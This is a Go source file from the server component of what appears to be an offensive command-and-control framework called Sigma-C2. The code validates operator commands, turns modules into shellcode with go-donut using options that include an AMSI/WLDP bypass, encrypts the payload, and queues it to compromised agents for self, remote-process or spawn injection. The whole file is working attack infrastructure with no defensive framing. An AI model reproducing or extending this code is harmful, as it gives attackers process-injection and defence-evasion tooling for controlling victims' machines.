Sigma-C2/server/injection.go

package main

import (
	"errors"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"os"
	"strconv"
	"strings"

	"github.com/Binject/go-donut/donut"
)

// ValidateAndInject - First function: validation checks only
func ValidateAndInject(operatorID string, cmdParts []string) {
	agentID := cmdParts[0]
	// taskType := cmdParts[1]
	moduleName := cmdParts[2]

	if !ValidateAgent(agentID, operatorID) {
		return
	}

	// Check if module exists in list
	module, exists := modules[moduleName]
	if !exists {
		response := fmt.Sprintf("Module %s is not on the list", moduleName)
		SendMessageToOperator(operatorID, response)
		return
	}

	// Check if module file exists on disk
	if _, err := os.Stat(module.Path); errors.Is(err, os.ErrNotExist) {
		logMessage := fmt.Sprintf("Error: Module %s not found in %s", module.Name, module.Path)
		log.Print(logMessage)
		response := fmt.Sprintf("Module %s not found in %s", module.Name, module.Path)
		SendMessageToOperator(operatorID, response)
		return
	}

	// All checks passed, proceed with injection
	PrepareAndInject(operatorID, cmdParts, module)
}

// PrepareAndInject - Second function: module preparation and injection
func PrepareAndInject(operatorID string, cmdParts []string, module Module) {
	agentID := cmdParts[0]
	taskType := cmdParts[1]
	moduleName := cmdParts[2]

	// Convert task type to numeric code
	var taskTypeCode string
	switch taskType {
	case "inject-self":
		taskTypeCode = "40"
	case "inject-remote":
		taskTypeCode = "50"
	case "spawn":
		taskTypeCode = "60"
	}

	var taskArg1, taskArg2 string

	// Extract task arguments based on command type
	switch taskType {
	case "inject-self":
		// No additional args needed
	case "inject-remote":
		taskArg1 = cmdParts[3] // pid
	case "spawn":
		taskArg1 = cmdParts[3] // exe_path
	}

	log.Printf("Agent ID: %s", agentID)
	log.Printf("Task type: %s", taskTypeCode)
	log.Printf("Module name: %s", moduleName)
	log.Printf("Task arg1: %s", taskArg1)
	log.Printf("Task arg2: %s", taskArg2)

	operatorConn, _ := GetOperatorConn(operatorID)

	var payload []byte
	var err error

	// Check for --donut flag
	donutArgs, useDonut := extractDonutArgs(cmdParts)
	if useDonut {
		log.Printf("Generating shellcode with donut args: %v", donutArgs)
		payload, err = PrepareShellcodeWithArgs(module.Path, donutArgs)
		if err != nil {
			logMessage := fmt.Sprintf("Error generating shellcode for module %s: %v", module.Name, err)
			log.Print(logMessage)
			response := fmt.Sprintf("Error generating shellcode: %v", err)
			operatorConn.Write([]byte(response))
			return
		}
	} else {
		// No --donut flag, read file directly (original behavior)
		payload, err = os.ReadFile(module.Path)
		if err != nil {
			logMessage := fmt.Sprintf("Error reading module %s: %v", module.Name, err)
			log.Print(logMessage)
			response := fmt.Sprintf("Error reading module %s: %v", module.Path, err)
			operatorConn.Write([]byte(response))
			return
		}
	}

	log.Printf("Successfully prepared payload for %s", module.Name)

	key, _, _ := GenerateKeyAndIV()

	// Encrypt before sending
	var encPayload []byte
	if encPayload, err = encryptAES128CTR(payload, []byte(key), []byte(key)); err != nil {
		log.Printf("Error encrypting: %v", err)
		return
	}

	// Get payload size
	payloadSize := fmt.Sprintf("%d", len(encPayload))

	// Prepare task arguments
	taskArgs := key + "~" + payloadSize + "~" + taskArg1

	// Add task to queue
	taskHandler.QueueTask(agentID, operatorID, taskTypeCode, taskArgs, encPayload)

	response := fmt.Sprintf("Tasked agent to run '%s' module", module.Path)
	if len(donutArgs) > 0 {
		response += " (with donut shellcode generation)"
	}
	operatorConn.Write([]byte(response))
}

// extractDonutArgs - Extract arguments after --donut flag and return if --donut was found
func extractDonutArgs(cmdParts []string) ([]string, bool) {
	for i, part := range cmdParts {
		if part == "--donut" {
			if i+1 < len(cmdParts) {
				return cmdParts[i+1:], true
			}
			return []string{}, true // --donut found but no args after it
		}
	}
	return nil, false
}

// PrepareShellcodeWithArgs - Generate shellcode using donut with provided arguments
func PrepareShellcodeWithArgs(srcFile string, donutArgs []string) ([]byte, error) {
	// Create a new FlagSet for parsing donut arguments
	flagSet := flag.NewFlagSet("donut", flag.ContinueOnError)
	flagSet.SetOutput(ioutil.Discard) // Suppress error output

	// Define flags with default values
	moduleName := flagSet.String("n", "", "Module name")
	flagSet.StringVar(moduleName, "module", "", "Module name")

	url := flagSet.String("u", "", "HTTP server that will host the donut module")
	flagSet.StringVar(url, "url", "", "HTTP server that will host the donut module")

	entropy := flagSet.Int("e", 3, "Entropy")
	flagSet.IntVar(entropy, "entropy", 3, "Entropy")

	archStr := flagSet.String("a", "x84", "Target Architecture")
	flagSet.StringVar(archStr, "arch", "x84", "Target Architecture")

	bypass := flagSet.Int("b", 3, "Bypass AMSI/WLDP")
	flagSet.IntVar(bypass, "bypass", 3, "Bypass AMSI/WLDP")

	format := flagSet.Int("f", 1, "Output format")
	flagSet.IntVar(format, "format", 1, "Output format")

	oepString := flagSet.String("y", "", "OEP")
	flagSet.StringVar(oepString, "oep", "", "OEP")

	action := flagSet.Int("x", 1, "Exit action")
	flagSet.IntVar(action, "exit", 1, "Exit action")

	className := flagSet.String("c", "", "Class name")
	flagSet.StringVar(className, "class", "", "Class name")

	appDomain := flagSet.String("d", "", "AppDomain name")
	flagSet.StringVar(appDomain, "domain", "", "AppDomain name")

	method := flagSet.String("m", "", "Method name")
	flagSet.StringVar(method, "method", "", "Method name")

	params := flagSet.String("p", "", "Parameters")
	flagSet.StringVar(params, "params", "", "Parameters")

	wFlag := flagSet.Bool("w", false, "Unicode")
	flagSet.BoolVar(wFlag, "unicode", false, "Unicode")

	runtime := flagSet.String("r", "", "Runtime version")
	flagSet.StringVar(runtime, "runtime", "", "Runtime version")

	tFlag := flagSet.Bool("t", false, "Thread")
	flagSet.BoolVar(tFlag, "thread", false, "Thread")

	zFlag := flagSet.Int("z", 1, "Compress")
	flagSet.IntVar(zFlag, "compress", 1, "Compress")

	verbose := flagSet.Bool("v", false, "Verbose")
	flagSet.BoolVar(verbose, "verbose", false, "Verbose")

	// Parse the donut arguments
	if err := flagSet.Parse(donutArgs); err != nil {
		return nil, fmt.Errorf("error parsing donut arguments: %v", err)
	}

	// Parse OEP if provided
	var err error
	oep := uint64(0)
	if *oepString != "" {
		oep, err = strconv.ParseUint(*oepString, 16, 64)
		if err != nil {
			return nil, fmt.Errorf("invalid OEP: %v", err)
		}
	}

	// Convert architecture
	var donutArch donut.DonutArch
	switch strings.ToLower(*archStr) {
	case "x32", "386":
		donutArch = donut.X32
	case "x64", "amd64":
		donutArch = donut.X64
	case "x84":
		donutArch = donut.X84
	default:
		return nil, fmt.Errorf("unknown architecture: %s", *archStr)
	}

	// Create donut config
	config := new(donut.DonutConfig)
	config.Arch = donutArch
	config.Entropy = uint32(*entropy)
	config.OEP = oep

	if *url == "" {
		config.InstType = donut.DONUT_INSTANCE_PIC
	} else {
		config.InstType = donut.DONUT_INSTANCE_URL
	}

	config.Parameters = *params
	config.Runtime = *runtime
	config.URL = *url
	config.Class = *className
	config.Method = *method
	config.Domain = *appDomain
	config.Bypass = *bypass
	config.ModuleName = *moduleName
	config.Compress = uint32(*zFlag)
	config.Format = uint32(*format)
	config.Verbose = *verbose

	if *tFlag {
		config.Thread = 1
	}
	if *wFlag {
		config.Unicode = 1
	}
	config.ExitOpt = uint32(*action)

	// Generate shellcode
	payload, err := donut.ShellcodeFromFile(srcFile, config)
	if err != nil {
		return nil, err
	}

	return payload.Bytes(), nil
}